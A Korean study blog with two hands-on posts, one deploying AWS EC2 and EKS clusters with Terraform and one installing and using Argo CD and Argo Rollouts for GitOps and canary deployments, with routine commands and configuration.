IT 성장블로그

[AEWS] EKS IaC

imxsuu — Sun, 21 Apr 2024 21:52:53 +0900

Terraform

소개

테라폼(Terraform)은 인프라스트럭처를 코드로 정의하고 프로비저닝하며 관리하기 위한 오픈 소스 도구입니다. 주로 클라우드 인프라스트럭처를 자동화하는 데 사용되며, 코드 기반의 접근 방식을 통해 클라우드 리소스를 배포하고 구성할 수 있습니다.
테라폼은 다양한 클라우드 플랫폼을 지원하며, AWS(Amazon Web Services), Microsoft Azure, Google Cloud Platform, IBM Cloud, 등 다양한 곳에서 사용할 수 있습니다. 특히 인프라스트럭처를 코드로 정의하면 버전 관리 시스템을 활용하여 인프라 변경 사항을 추적하고 관리할 수 있으며, 반복적이고 일관성이 요구되는 인프라 관리 작업을 간소화합니다.
테라폼은 간단한 구조화된 문법을 사용하여 인프라 리소스를 정의하고, 이를 이용하여 필요한 클라우드 인프라 리소스를 생성, 수정, 삭제할 수 있습니다. 이러한 특징은 개발자나 운영 팀이 클라우드 인프라를 프로그래밍적으로 제어할 수 있게 해주어, 인프라 관리와 배포의 효율성을 향상시킵니다.
[출처 : ChatGPT]

https://developer.hashicorp.com/terraform/intro

HCL

HCL HashiCorp configuration language은 하시코프사에서 IaC와 구성 정보를 명시하기 위해 개발된 오픈 소스 도구입니다.
IaC는 수동 프로세스가 아닌 코드를 통해 인프라를 관리하고 프로비저닝 하는 것을 말합니다.
테라폼에서 HCL이 코드의 영역을 담당합니다. HCL은 쉽게 읽을 수 있고 빠르게 배울 수 있는 언어의 특징을 가집니다.
인프라가 코드로 표현되고, 이 코드는 곧 인프라이기 때문에 선언적 특성을 갖게 되고 튜링 완전한 Turing-complete 언어적 특성을 갖습니다.
즉, 일반적인 프로그래밍 언어의 조건문 처리 같은 동작이 가능합니다. 자동화와 더불어, 쉽게 버저닝해 히스토리를 관리하고 함께 작업 할 수 있는 기반을 제공합니다.
HCL을 사용하면 동일한 내용을 JSON으로 표현하는 것보다 더 간결하고 읽기 쉽게 작성할 수 있습니다.

HCL을 이용한 테라폼 구성	JSON을 이용한 CloudFormation 구성
resource "local_file" "abc" { content = "abc!" filename = "${path.module}/abc.txt" }	{ "resource": [ { "local_file": [ { "abc": [ { "content":"abc!", "filenale":"${path.module}/abc.txt" } ] } ] } ] }

HCL 표현식

// 한줄 주석 방법1
# 한줄 주석 방법2

/*
라인
주석
*/

locals {
  key1     = "value1"     # = 를 기준으로 키와 값이 구분되며
  myStr    = "TF ♡ UTF-8" # UTF-8 문자를 지원한다.
  multiStr = <<EOF
  Multi
  Line
  String
  with anytext
EOF

  boolean1    = true   # boolean true
  boolean2    = false  # boolean false를 지원한다.
  deciaml     = 123    # 기본적으로 숫자는 10진수,
  octal       = 0123   # 0으로 시작하는 숫자는 8진수,
  hexadecimal = "0xD5" # 0x 값을 포함하는 스트링은 16진수,
  scientific  = 1e10   # 과학표기 법도 지원한다.

  # funtion 호출 예
  myprojectname = format("%s is myproject name", var.project)

  # 3항 연산자 조건문을 지원한다.
  credentials = var.credentials == "" ? file(var.credentials_file) : var.credentials
}

HCL 표현식에서는 코드에서 사용되는 주석 표기부터 변수 정의 등을 포함하고 프로그래밍적인 연산과 구성 편의성을 높이기 위한 function 제공 - 링크
테라폼으로 인프라를 구성하기 위한 선언 블록도 다수 존재 : terraform, resource, data, variable, local, output

Block

테라폼 버전이나 프로바이더 버전과 같은 값들은 자동으로 설정되지만, 함께 작업할 때는 버전을 명시적으로 선언하고 필요한 조건을 입력하여 실행 오류를 최소화 할 것을 권장합니다.
오늘 실행하던, 3년 후에 실행하던 동일한 결과를 얻을 수 있어야 합니다.

terraform {
  required_version = "~> 1.3.0" # 테라폼 버전

  required_providers { # 프로바이더 버전을 나열
    random = {
      version = ">= 3.0.0, < 3.1.0"
    }
    aws = {
      version = "4.2.0"
    }
  }

  cloud { # Cloud/Enterprise 같은 원격 실행을 위한 정보
    organization = "<MY_ORG_NAME>"
    workspaces {
      name = "my-first-workspace"
    }
  }

  backend "local" { # state를 보관하는 위치를 지정
    path = "relative/path/to/terraform.tfstate"
  }
}

테라폼 내에서 버전이 명시되는 terraform, module에서 사용 가능하며 버전에 대한 제약을 둠으로써 테라폼, 프로바이더, 모듈이 항상 의도한 정의대로 실행되는 것을 목적으로 합니다.
버전 체계는 시맨틱 버전 관리 Semantic Versioning 방식을 따릅니다.

# version = Major.Minor.Patch
version = 1.3.4

시맨틱 버전 관리 방식
- Major 버전 : 내부 동작의 API가 변경 또는 삭제되거나 하위 호환이 되지 않는 버전
- Minor 버전 : 신규 기능이 추가되거나 개선되고 하위 호환이 가능한 버전
- Patch 버전 : 버그 및 일부 기능이 개선된 하위 호환이 가능한 버전
버전 제약 구문은 다른 프로그램 언어에서의 종속성 관리 시스템과 흡사합니다.
- = 또는 연산자 없음 : 지정된 버전만을 허용하고 다른 조건과 병기할 수 없습니다.
- != : 지정된 버전을 제외합니다.
- , >=, <, <= : 지정된 버전과 비교해 조건에 맞는 경우 허용합니다.
  - ~> : 지정된 버전에서 가장 자리수가 낮은 구성요소만 증가하는 것을 허용합니다.
    - ~> x.y 인 경우 y 버전에 대해서만, ~> x.y.z인 경우 z 버전에 대해서만 보다 큰 버전을 허용합니다.

실습 환경 준비 (macOS)

로컬 PC에 관련 툴들을 설치합니다.

TFENV

# tfenv 설치
brew install tfenv

# 설치 가능 버전 리스트 확인
tfenv list-remote

# 테라폼 1.5.1 버전 설치
tfenv install 1.8.1

# 테라폼 1.5.1 버전 사용 설정 
tfenv use 1.8.1

# tfenv로 설치한 버전 확인
tfenv list

# 테라폼 버전 정보 확인
terraform version

# 자동완성
terraform -install-autocomplete
## 참고 .zshrc 에 아래 추가됨
cat ~/.zshrc
autoload -U +X bashcompinit && bashcompinit
complete -o nospace -C /usr/local/bin/terraform terraform

AWSCLI

brew install awscli

aws configure

EKSCTL

brew install eksctl

KUBECTL

brew install kubernetes-cli

HELM

brew install helm

watch, jq, tree 설치

brew install tree jq watch

Visual Studio Code(VS Code)

자동저장 설정 : Settings → Commonly Used ⇒ Files: Auto Save에서 afterDelay로 변경
Extentions 설치
- HashiCorp HCL : syntax highlighting for HCL files
- HashiCorp Terraform : Highlighting syntax from Terraform

AWS 서울 리전(ap-northeast-2)에 default VPC 확인

aws ec2 describe-vpcs --filter 'Name=isDefault,Values=true' | jq
{
...

aws ec2 describe-vpcs --filter 'Name=isDefault,Values=true' | jq '.Vpcs[0].VpcId'
"vpc-3912a952"

Get Started AWS

기본 환경 준비

mkdir learn-terraform
cd learn-terraform
touch main.tf

Amazon Linux 2 최신 ami id 찾기

#aws ec2 describe-images --owners self amazon
aws ec2 describe-images --owners self amazon --query 'Images[*].[ImageId]' --output text
aws ec2 describe-images --owners amazon --filters "Name=name,Values=amzn2-ami-hvm-2.0.*-x86_64-gp2" "Name=state,Values=available"
aws ec2 describe-images --owners amazon --filters "Name=name,Values=amzn2-ami-hvm-2.0.*-x86_64-gp2" "Name=state,Values=available" --query 'Images|sort_by(@, &CreationDate)[-1].[ImageId, Name]' --output text
ami-0217b147346e48e84	amzn2-ami-hvm-2.0.20240412.0-x86_64-gp2

aws ec2 describe-images --owners amazon --filters "Name=name,Values=amzn2-ami-hvm-2.0.*-x86_64-gp2" "Name=state,Values=available" --query 'Images|sort_by(@, &CreationDate)[-1].[ImageId]' --output text
ami-0217b147346e48e84

AL2ID=`aws ec2 describe-images --owners amazon --filters "Name=name,Values=amzn2-ami-hvm-2.0.*-x86_64-gp2" "Name=state,Values=available" --query 'Images|sort_by(@, &CreationDate)[-1].[ImageId]' --output text`
echo $AL2ID

EC2 생성 모니터링

# [터미널1] EC2 생성 모니터링
export AWS_PAGER=""
while true; do aws ec2 describe-instances --query "Reservations[*].Instances[*].{PublicIPAdd:PublicIpAddress,InstanceName:Tags[?Key=='Name']|[0].Value,Status:State.Name}" --filters Name=instance-state-name,Values=running --output text ; echo "------------------------------" ; sleep 1; done

Terraform 코드 파일 작성 : HCL Hashicorp Configuration Language 코드 파일 생성, Block로 구성

provider : Terraform으로 정의할 Infrastructure Provider를 의미
resource : 실제로 생성할 인프라 자원을 의미

resource “<PROVIDER>_<TYPE>” “<NAME>” {
[CONFIG ...]
}
- PROVIDER : ‘aws’ 같은 공급자의 이름
- TYPE : ‘security_group’ 같은 리소스의 유형
- NAME : 리소스의 이름
- CONFIG : 한개 이상 arguments

cat <<EOT > main.tf
provider "aws" {
  region = "ap-northeast-2"
}

resource "aws_instance" "example" {
  ami           = "$AL2ID"
  instance_type = "t2.micro"
}
EOT

배포 실행 : 터미널2에서 실행

# 초기화
terraform init
ls -al
tree .terraform

# plan 확인
terraform plan

# apply 실행
terraform apply
 Enter a value: yes 입력

# ec2 생성 확인 : aws 웹 관리 콘솔에서도 확인 - 서울 리전 선택
export AWS_PAGER=""
aws ec2 describe-instances --output table

# 테라폼 정보 확인
terraform state list
terraform show
terraform show aws_instance.example

EC2 태그 정보 수정 : 코드 파일 수정

cat <<EOT > main.tf
provider "aws" {
  region = "ap-northeast-2"
}

resource "aws_instance" "example" {
  ami           = "$AL2ID"
  instance_type = "t2.micro"

  tags = {
    Name = "aews-study"
  }

}
EOT

배포 실행

# plan 실행 시 아래와 같은 정보가 출력
terraform plan
# aws_instance.example will be updated in-place
  ~ resource "aws_instance" "example" {
        id                                   = "ami-0a0064415cdedc552"
      ~ tags                                 = {
          + "Name" = "t101-study"
        }
      ~ tags_all                             = {
          + "Name" = "t101-study"
        }
        # (29 unchanged attributes hidden)

        # (7 unchanged blocks hidden)
    }

Plan: 0 to add, 1 to change, 0 to destroy.

# apply 실행
terraform apply
 Enter a value: yes 입력

# 모니터링 : [터미널1]에 Name 확인

삭제

# 리소스 삭제
terraform destroy
 Enter a value: yes 입력

혹은
terraform destroy -auto-approve

Terraform 으로 EKS 배포

첫 번째 EKS 클러스터 배포

주요 생성 자원 : VPC, Subnet, IGW, NATGW, Routing Table, EKS, EKS SG

# 코드 가져오기
git clone https://github.com/gasida/aews-cicd.git
cd aews-cicd/4

# terraform 환경 변수 저장
export TF_VAR_KeyName=[각자 ssh keypair]
export TF_VAR_KeyName='kp-gasida'
echo $TF_VAR_KeyName

# 
terraform init
terraform plan

# 10분 후 배포 완료
terraform apply -auto-approve

배포 정보 확인 및 기타 설치

# EKS 클러스터 인증 정보 업데이트
CLUSTER_NAME=myeks
aws eks update-kubeconfig --region ap-northeast-2 --name $CLUSTER_NAME
kubectl config rename-context "arn:aws:eks:ap-northeast-2:$(aws sts get-caller-identity --query 'Account' --output text):cluster/$CLUSTER_NAME" "Aews-Labs"

#
kubectl get node -v=6
kubectl cluster-info
kubectl get node --label-columns=node.kubernetes.io/instance-type,eks.amazonaws.com/capacityType,topology.kubernetes.io/zone
kubectl get pod -A

#
# ExternalDNS
MyDomain=<자신의 도메인>
MyDomain=dns4u.link
MyDnzHostedZoneId=$(aws route53 list-hosted-zones-by-name --dns-name "${MyDomain}." --query "HostedZones[0].Id" --output text)
echo $MyDomain, $MyDnzHostedZoneId
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/aews/externaldns.yaml
MyDomain=$MyDomain MyDnzHostedZoneId=$MyDnzHostedZoneId envsubst < externaldns.yaml | kubectl apply -f -

# kube-ops-view
helm repo add geek-cookbook https://geek-cookbook.github.io/charts/
helm install kube-ops-view geek-cookbook/kube-ops-view --version 1.2.2 --set env.TZ="Asia/Seoul" --namespace kube-system
kubectl patch svc -n kube-system kube-ops-view -p '{"spec":{"type":"LoadBalancer"}}'
kubectl annotate service kube-ops-view -n kube-system "external-dns.alpha.kubernetes.io/hostname=kubeopsview.$MyDomain"
echo -e "Kube Ops View URL = http://kubeopsview.$MyDomain:8080/#scale=1.5"

# AWS LB Controller
helm repo add eks https://aws.github.io/eks-charts
helm repo update
helm install aws-load-balancer-controller eks/aws-load-balancer-controller -n kube-system --set clusterName=$CLUSTER_NAME \
  --set serviceAccount.create=false --set serviceAccount.name=aws-load-balancer-controller

# gp3 스토리지 클래스 생성
kubectl apply -f https://raw.githubusercontent.com/gasida/PKOS/main/aews/gp3-sc.yaml

두 번째 EKS 클러스터 배포 : 코드 재사용 검증

#
cd ..
mkdir 5
cd 5
cp ../4/*.tf .
ls

# 정상 배포 확인
terraform init
terraform apply -auto-approve -var=ClusterBaseName=myeks2 -var=KubernetesVersion="1.28"

# EKS 클러스터 인증 정보 가져오기
CLUSTER_NAME2=myeks2
aws eks update-kubeconfig --region ap-northeast-2 --name $CLUSTER_NAME2 --kubeconfig ./myeks2config

# EKS 클러스터 정보 확인
kubectl --kubeconfig ./myeks2config get node 
kubectl --kubeconfig ./myeks2config get pod -A

삭제 : 디렉터리(폴더) 진입 후 각각 삭제

첫번째 클러스터 삭제

# CLB는 terraform으로 배포하지 않고 직접 수동으로 배포되었으니, 수동으로 삭제를 해주어야 함
helm uninstall kube-ops-view --namespace kube-system

# 클러스터 삭제
terraform destroy -auto-approve

두번째 클러스터 삭제

# 클러스터 삭제
terraform destroy -auto-approve -var=ClusterBaseName=myeks2 -var=KubernetesVersion="1.28"

[AEWS] EKS CI/CD - Argo

imxsuu — Tue, 16 Apr 2024 22:01:28 +0900

Argo CD

소개

Argo CD는 Kubernetes를 위한 선언적(declarative) GitOps ontinuous delivery tool입니다.

애플리케이션 정의, 구성 및 환경은 선언적이어야 하며 버전이 제어되어야 합니다.
애플리케이션 배포 및 수명주기 관리는 자동화되고 감사 가능(auditable)하며 이해하기 쉬워야 합니다.

Argo CD는 원하는 애플리케이션 상태를 정의하기 위한 정보 소스로 Git 저장소를 사용하는 GitOps 패턴을 따릅니다. Kubernetes 매니페스트는 여러 가지 방법으로 지정할 수 있습니다.
- kustomize applications
- helm charts
- jsonnet files
- Plain directory of YAML/json manifests
- Any custom config management tool configured as a config management plugin

구조

https://argo-cd.readthedocs.io/en/stable/

API Server : Web UI 대시보드, k8s api 처럼 API 서버 역할
- API 서버는 웹 UI, CLI 및 CI/CD 시스템에서 사용되는 API를 노출하는 gRPC/REST 서버입니다. 다음과 같은 책임이 있습니다.
  - 애플리케이션 관리 및 상태 보고
  - 애플리케이션 작업 호출(예: 동기화, 롤백, 사용자 정의 작업)
  - 저장소 및 클러스터 자격 증명 관리(k8s Secret으로 저장)
  - 외부 ID 공급자에 대한 인증 및 인증 위임
  - RBAC 시행
  - Git 웹훅 이벤트용 리스너/전달자
Repository Server : Git 연결 및 배포할 yaml 생성
- 레파지토리 서버는 애플리케이션 매니페스트를 보관하는 Git 레파지토리의 로컬 캐시를 유지 관리하는 내부 서비스입니다. 다음 입력이 제공되면 Kubernetes 매니페스트를 생성하고 반환하는 일을 담당합니다.
- 레파지토리 URL
- 개정 (commit, tag, branch)
- application 경로
- 템플릿별 설정: parameters, helm value.yaml
Application Controller : k8s 리소스 모니터링, Git과 비교
- 애플리케이션 컨트롤러는 실행 중인 애플리케이션을 지속적으로 모니터링하고 현재 라이브 상태를 원하는 대상 상태(repo에 지정된 대로)와 비교하는 Kubernetes 컨트롤러입니다. OutOfSync 애플리케이션 상태를 감지하고 선택적으로 수정 조치를 취합니다. 수명 주기 이벤트(PreSync, Sync, PostSync)에 대한 사용자 정의 후크 호출을 담당합니다.
Redis : k8s api와 git 요청을 줄이기 위한 캐싱
Notification : 이벤트 알림, 트리거
Dex : 외부 인증 관리 (예: keycloak)
ApplicationSet Controller : 멀티 클러스터를 위한 App 패키징 관리

기능

지정된 대상 환경에 애플리케이션 자동 배포
여러 구성 관리/템플릿 도구 지원(Kustomize, Helm, Jsonnet, plain-YAML)
여러 클러스터를 관리하고 배포하는 기능
SSO 통합(OIDC, OAuth2, LDAP, SAML 2.0, GitHub, GitLab, Microsoft, LinkedIn)
승인을 위한 Multi-tenancy 및 RBAC 정책
Git 저장소에 커밋된 모든 애플리케이션 구성으로 Rollback/Roll-anywhere
애플리케이션 resources의 Health status 분석
자동화된 configuration drift detection과 visualization
애플리케이션을 원하는 상태로 자동 또는 수동 동기화
애플리케이션 활동을 실시간으로 볼 수 있는 웹 UI
자동화 및 CI 통합을 위한 CLI
웹훅 통합(GitHub, BitBucket, GitLab)
자동화를 위한 액세스 토큰
복잡한 애플리케이션 롤아웃(예: 블루/그린 및 카나리아 업그레이드)을 지원하는 PreSync, Sync, PostSync hooks
애플리케이션 이벤트 및 API 호출에 대한 감사 추적(audit trails)
Prometheus metrics
Git에서 helm 매개변수를 재정의하기 위한 parameters 재정의

핵심 개념

Application : 매니페스트에 정의된 Kubernetes 리소스 그룹입니다. 이는 CRD(사용자 정의 리소스 정의)입니다.
Application source type : 애플리케이션을 빌드하는 데 사용되는 도구입니다.
Target state : Git 레파지토리의 파일로 표시되는 애플리케이션의 원하는 상태입니다.
Live state : 배포되는 파드 등은 무엇인지에 대한 해당 애플리케이션의 라이브 상태입니다.
Sync status : 라이브 상태가 대상 상태와 일치하는지 여부입니다. (배포된 애플리케이션이 Git과 동일한지)
Sync : 애플리케이션을 대상 상태로 이동시키는 프로세스입니다. (예: Kubernetes 클러스터에 변경 사항을 적용합니다.)
Sync operation status : 동기화 성공 여부입니다.
Refresh : Git의 최신 코드를 실제 상태와 비교합니다. 무엇이 다른지 알아챕니다.
Health : 애플리케이션의 상태가 올바르게 실행되고 있는지, 요청을 처리할 수 있는지 체크합니다.
Tool : 파일 디렉토리에서 매니페스트를 생성하는 도구입니다. (예: Kustomize. Application source type 참조)
Configuration management tool : Tool 참조
Configuration management plugin : 사용자 정의 도구입니다.

설치

현재 실습 환경에 설치하기 위해서는 ALB Ingress에 맞는 helm config 설정을 통해 설치를 해야 합니다.
- aws는 gRPC 트래픽에 대한 추가 서비스를 생성하므로 ingressGrpc 섹션을 사용할 필요가 없습니다.

# helm 설치
cat <<EOT > argocd-values.yaml
global:
  domain: argocd.$MyDomain

configs:
  params:
    server.insecure: true

controller:
  metrics:
    enabled: true
    serviceMonitor:
      enabled: true

server:
  ingress:
    enabled: true
    controller: aws
    ingressClassName: alb
    hostname: "argocd.$MyDomain"
    annotations:
      alb.ingress.kubernetes.io/scheme: internet-facing
      alb.ingress.kubernetes.io/target-type: ip
      alb.ingress.kubernetes.io/backend-protocol: HTTP
      alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":80}, {"HTTPS":443}]'
      alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
      alb.ingress.kubernetes.io/ssl-redirect: '443'
    aws:
      serviceType: ClusterIP
      backendProtocolVersion: GRPC
  metrics:
    enabled: true
    serviceMonitor:
      enabled: true

repoServer:
  metrics:
    enabled: true
    serviceMonitor:
      enabled: true

applicationSet:
  metrics:
    enabled: true
    serviceMonitor:
      enabled: true

notifications:
  metrics:
    enabled: true
    serviceMonitor:
      enabled: true
EOT

kubectl create ns argocd
helm repo add argo https://argoproj.github.io/argo-helm
helm install argocd argo/argo-cd --version 6.7.11 -f argocd-values.yaml --namespace argocd

# 확인
kubectl get ingress,pod,svc -n argocd
kubectl get crd | grep argo
applications.argoproj.io                     2024-04-14T08:12:16Z
applicationsets.argoproj.io                  2024-04-14T08:12:17Z
appprojects.argoproj.io                      2024-04-14T08:12:16Z

# 최초 접속 암호 확인
kubectl -n argocd get secret argocd-initial-admin-secret -o jsonpath="{.data.password}" | base64 -d ;echo
MC3y8rzzECTIAHSB

최초 접속 https://argocd.<자신의도메인> admin / <최초 접속 암호>
- 로그인 후 User info → UPDATE PASSWORD 변경 가능

App 배포 with Directory

App 생성 : [+ New App] 클릭

Application Name : first-myweb
Project Name : default
SYNC POLICY : Manual
- [설정] AUTO-CREATE NAMESPACE : 클러스터에 네임스페이스가 없을 시 argocd에 입력한 이름으로 자동 생성
- APPLY OUT OF SYNC ONLY : 현재 동기화 상태가 아닌 리소스만 배포
PRUNE PROPAGATION POLICY
- foreground : 부모(소유자, ex. deployment) 자원을 먼저 삭제함
- background : 자식(종속자, ex. pod) 자원을 먼저 삭제함
- orphan : 고아(소유자는 삭제됐지만, 종속자가 삭제되지 않은 경우) 자원을 삭제함
SOURCE
- Repository URL : https://github.com/imxsuu/aews-cicd.git
- Revision : main
- Path : 3/deploy
DESTINATION
- Cluster URL : https://kubernetes.default.svc
- Namespace : first
- [선택] Directory ← SOURCE 입력값을 보고 자동으로 유형이 선택됩니다.
화면 상단 [CREATE] 클릭

배포하기 - [SYNC] 클릭 > [SYNCHRONIZE] 클릭

PRUNE : GIT에서 자원 삭제 후 배포시 k8s에서는 삭제되지 않으나, 해당 옵션을 선택하면 삭제시킵니다.
FORCE : --force 옵션으로 리소스를 삭제합니다.
APPLY ONLY : ArgoCD의 Pre/Post Hook은 사용하지 않고 리소스만 배포합니다.
DRY RUN : 테스트 배포 (배포에 에러가 있는지 확인할 때 사용합니다.)

# 모니터링
kubectl get deploy,svc -n first --show-labels
watch -d kubectl get deploy -n first --show-labels

리소스 클릭 후 확인 : LIVE MANIFEST(k8s 정보) vs DESIRED MANIFEST(Git 정보)

Deployment의 LIVE MANIFEST 직접 수정 해보기 : EDIT 클릭 후 lables 아래 add: label-test 추가 → SAVE

k8s에서 직접 수정 → argocd 싱크(반영) 확인

# 아래 추가
kubectl edit deploy -n first myweb
...
  labels:
    add: label-test
    add2: k8s-test
...

DIFF 클릭 확인 : 차이를 알아채지 못합니다.

DESIRED MANIFEST 확인 : LIVE MANIFEST에서 추가한 Label이 업데이트되지 않았습니다.

Git Repo에서 값 변경 후 → Commit 후 DIFF 확인 : 3분 간격, 바로 확인 원할 시 REFRESH 클릭
- Git이 기준이기 때문에 LIVE MANIFEST(k8s)형상이 뒤떨어진 것으로 볼 수 있습니다. → OutOfSync 상태이니 Sync 합니다.
- GitOps를 따르기 위해 k8s에서 변경한 값은 반영하지 않습니다.

Git Repo화면에서 replicas 4로 변경 후 → Commit 후 ArgoCD에서 REFRESH 클릭 후 Sync 후 확인

실습 리소스 삭제

결론 : GitOps를 하려거든 대상(k8s)에서 변경하지 말고, 소스(git)에서 변경하자!

Getting Started : Argo CD CLI, Sample Application

Argo CD CLI

#
curl -sSL -o argocd-linux-amd64 https://github.com/argoproj/argo-cd/releases/latest/download/argocd-linux-amd64
sudo install -m 555 argocd-linux-amd64 /usr/local/bin/argocd
rm -f argocd-linux-amd64

#
argocd version

#
argocd login argocd.$MyDomain
Username: admin
Password: ###
'admin:login' logged in successfully

#
kubectl config get-contexts -o name
admin@myeks.ap-northeast-2.eksctl.io
argocd cluster add admin@myeks.ap-northeast-2.eksctl.io
y 입력

#
argocd app list
NAME  CLUSTER  NAMESPACE  PROJECT  STATUS  HEALTH  SYNCPOLICY  CONDITIONS  REPO  PATH  TARGET

Application 생성 with CLI

#
kubectl config set-context --current --namespace=argocd
argocd app create guestbook --repo https://github.com/argoproj/argocd-example-apps.git --path guestbook --dest-server https://kubernetes.default.svc --dest-namespace default

#
argocd app list
NAME              CLUSTER                         NAMESPACE  PROJECT  STATUS     HEALTH   SYNCPOLICY  CONDITIONS  REPO                                                 PATH       TARGET
argocd/guestbook  https://kubernetes.default.svc  default    default  OutOfSync  Missing  <none>      <none>      https://github.com/argoproj/argocd-example-apps.git  guestbook

Sync (Deploy) The Application

#
argocd app get guestbook
...

# 모니터링
watch -d kubectl get pod,svc,ep

#
argocd app sync guestbook

app 삭제

argocd app delete guestbook
Are you sure you want to delete 'guestbook' and all its resources? [y/n] y

# ns default 로 변경
kubectl ns default

Argo Rollouts

소개

blue-green, canary, canary analysis, experimentation, progressive delivery features과 같은 advanced deployment 기능을 쿠버네티스에 제공하는 쿠버네티스 컨트롤러이자 CRD 세트입니다.
- ingress controllers, service meshes와 통합되어 트래픽 조절 기능을 활용하여 업데이트 중에 트래픽을 새 버전으로 점진적으로 전환합니다. 또한 롤아웃은 다양한 공급자의 지표를 쿼리하고 해석하여 주요 KPI를 확인하고 업데이트 중에 automated promotion 또는 롤백을 추진할 수 있습니다.
세분화되고 가중치가 부여된 트래픽 이동
자동 롤백 및 프로모션
수동 판단
사용자 정의 가능한 지표 쿼리 및 비즈니스 KPI 분석
Ingress controller 통합: NGINX, ALB, Apache APISIX
서비스 메시 통합: Istio, Linkerd, SMI
여러 공급자 동시 사용: SMI + NGINX, Istio + ALB 등
Metric Provider 통합: Prometheus, Wavefront, Kayenta, Web, Kubernetes Jobs, Datadog, New Relic, Graphite, InfluxDB

네이티브 쿠버네티스 배포 Object는 업데이트 중에 기본 안전 보장 세트(readiness probes)를 제공하는 RollingUpdate 전략을 지원합니다. 그러나 롤링 업데이트 전략에는 다음과 같은 많은 제한 사항이 있습니다.
- 롤아웃 속도에 대한 제어가 거의 없습니다.
- 새 버전으로의 트래픽 흐름을 제어할 수 없습니다.
- Readiness probe는 심층 검사, 스트레스 검사 또는 일회성 검사에 적합하지 않습니다.
- 업데이트를 확인하기 위해 external metrics을 쿼리하는 기능이 없습니다.
- 진행을 중지할 수 있지만 자동으로 업데이트를 중단하고 롤백할 수는 없습니다.

특징

Blue-Green update strategy
- 블루-그린 배포(때때로 레드-블랙이라고도 불립니다.)에서는 애플리케이션의 새 버전과 이전 버전이 동시에 배포됩니다. 이 기간 동안에는 이전 버전의 애플리케이션만 프로덕션 트래픽을 수신합니다. 이를 통해 개발자는 실시간 트래픽을 새 버전으로 전환하기 전에 새 버전에 대해 테스트를 실행할 수 있습니다.

https://argoproj.github.io/argo-rollouts/concepts/

Canary update strategy
- Ingress나 Istio와 연결이 되어 퍼센트와 관련된 디테일한 전략을 활용할 수 있습니다.
- 사용자의 하위 집합을 새 버전의 애플리케이션에 노출하는 동시에 나머지 트래픽을 이전 버전에 제공합니다. 새 버전이 올바른 것으로 확인되면 새 버전이 이전 버전을 점차적으로 대체할 수 있습니다. NGINX 및 Istio와 같은 수신 컨트롤러 및 서비스 메시는 기본적으로 사용 가능한 것보다 카나리아에 대한 더 정교한 트래픽 조절 패턴을 지원합니다. (예: 매우 세분화된 트래픽 분할 달성 또는 HTTP 헤더 기반 분할 달성)

https://argoproj.github.io/argo-rollouts/concepts/ALT

Architecture

https://argoproj.github.io/argo-rollouts/architecture/

Argo Rollouts controller
Rollout resource
Replica sets for old and new version
Ingress/Service
AnalysisTemplate and AnalysisRun
Metric providers
CLI and UI

설치

Helm

#
cat <<EOT > argorollouts-values.yaml
dashboard:
  enabled: true
  ingress:
    enabled: true
    ingressClassName: alb
    hosts:
      - argorollouts.$MyDomain
    annotations:
      alb.ingress.kubernetes.io/scheme: internet-facing
      alb.ingress.kubernetes.io/target-type: ip
      alb.ingress.kubernetes.io/backend-protocol: HTTP
      alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":80}, {"HTTPS":443}]'
      alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
      alb.ingress.kubernetes.io/ssl-redirect: '443'
EOT

kubectl create ns argo-rollouts
helm install argo-rollouts argo/argo-rollouts --version 2.35.1 -f argorollouts-values.yaml --namespace argo-rollouts

# 확인
kubectl get all -n argo-rollouts
kubectl get crd | grep argo

rollouts 대시보드 - 네임스페이스 별 확인 가능

https://argorollouts.<자신의 도메인>/rollouts/<네임 스페이스>

rollouts CLI

#
curl -LO https://github.com/argoproj/argo-rollouts/releases/download/v1.6.4/kubectl-argo-rollouts-linux-amd64
chmod +x ./kubectl-argo-rollouts-linux-amd64
mv ./kubectl-argo-rollouts-linux-amd64 /usr/local/bin/kubectl-argo-rollouts

# 설치 확인
kubectl argo rollouts version

Getting Started

Deploying a Rollout

spec:
  replicas: 5
  strategy:
    canary:
      steps:
      - setWeight: 20
      - pause: {}
      - setWeight: 40
      - pause: {duration: 10}
      - setWeight: 60
      - pause: {duration: 10}
      - setWeight: 80
      - pause: {duration: 10}

# Run the following command to deploy the initial Rollout and Service:
kubectl apply -f https://raw.githubusercontent.com/argoproj/argo-rollouts/master/docs/getting-started/basic/rollout.yaml
kubectl apply -f https://raw.githubusercontent.com/argoproj/argo-rollouts/master/docs/getting-started/basic/service.yaml

CLI vs UI 확인

kubectl argo rollouts get rollout rollouts-demo
Name:            rollouts-demo
Namespace:       argocd
Status:          ◌ Progressing
Message:         updated replicas are still becoming available
Strategy:        Canary
  Step:          8/8
  SetWeight:     100
  ActualWeight:  100
Images:          argoproj/rollouts-demo:blue (stable)
Replicas:
  Desired:       5
  Current:       5
  Updated:       5
  Ready:         4
  Available:     4

NAME                                       KIND        STATUS               AGE   INFO
⟳ rollouts-demo                            Rollout     ◌ Progressing        113s  
└──# revision:1                                                                   
   └──⧉ rollouts-demo-687d76d795           ReplicaSet  ◌ Progressing        113s  stable
      ├──□ rollouts-demo-687d76d795-bqtp6  Pod         ◌ ContainerCreating  113s  ready:0/1
      ├──□ rollouts-demo-687d76d795-hz5v8  Pod         ✔ Running            113s  ready:1/1
      ├──□ rollouts-demo-687d76d795-vjzfz  Pod         ✔ Running            113s  ready:1/1
      ├──□ rollouts-demo-687d76d795-vvdtj  Pod         ✔ Running            113s  ready:1/1
      └──□ rollouts-demo-687d76d795-xjx5v  Pod         ✔ Running            113s  ready:1/1

kubectl argo rollouts get rollout rollouts-demo --watch

https://argorollouts.dns4u.link/rollouts/default

Updating a Rollout

#
watch -d kubectl get pod -n argocd -l app=rollouts-demo -owide --show-labels

# Run the following command to update the rollouts-demo Rollout with the "yellow" version of the container:
kubectl argo rollouts set image rollouts-demo rollouts-demo=argoproj/rollouts-demo:yellow

Promoting a Rollout

# 아래 입력 혹은 UI에서 Promote Yes 클릭
kubectl argo rollouts promote rollouts-demo

#
kubectl argo rollouts get rollout rollouts-demo --watch

Aborting a Rollout

# 
kubectl argo rollouts set image rollouts-demo rollouts-demo=argoproj/rollouts-demo:red

#
kubectl argo rollouts abort rollouts-demo

#
kubectl argo rollouts set image rollouts-demo rollouts-demo=argoproj/rollouts-demo:yellow

Getting Started - AWS Load Balancer Controller

Deploy the Rollout, Services, and Ingress

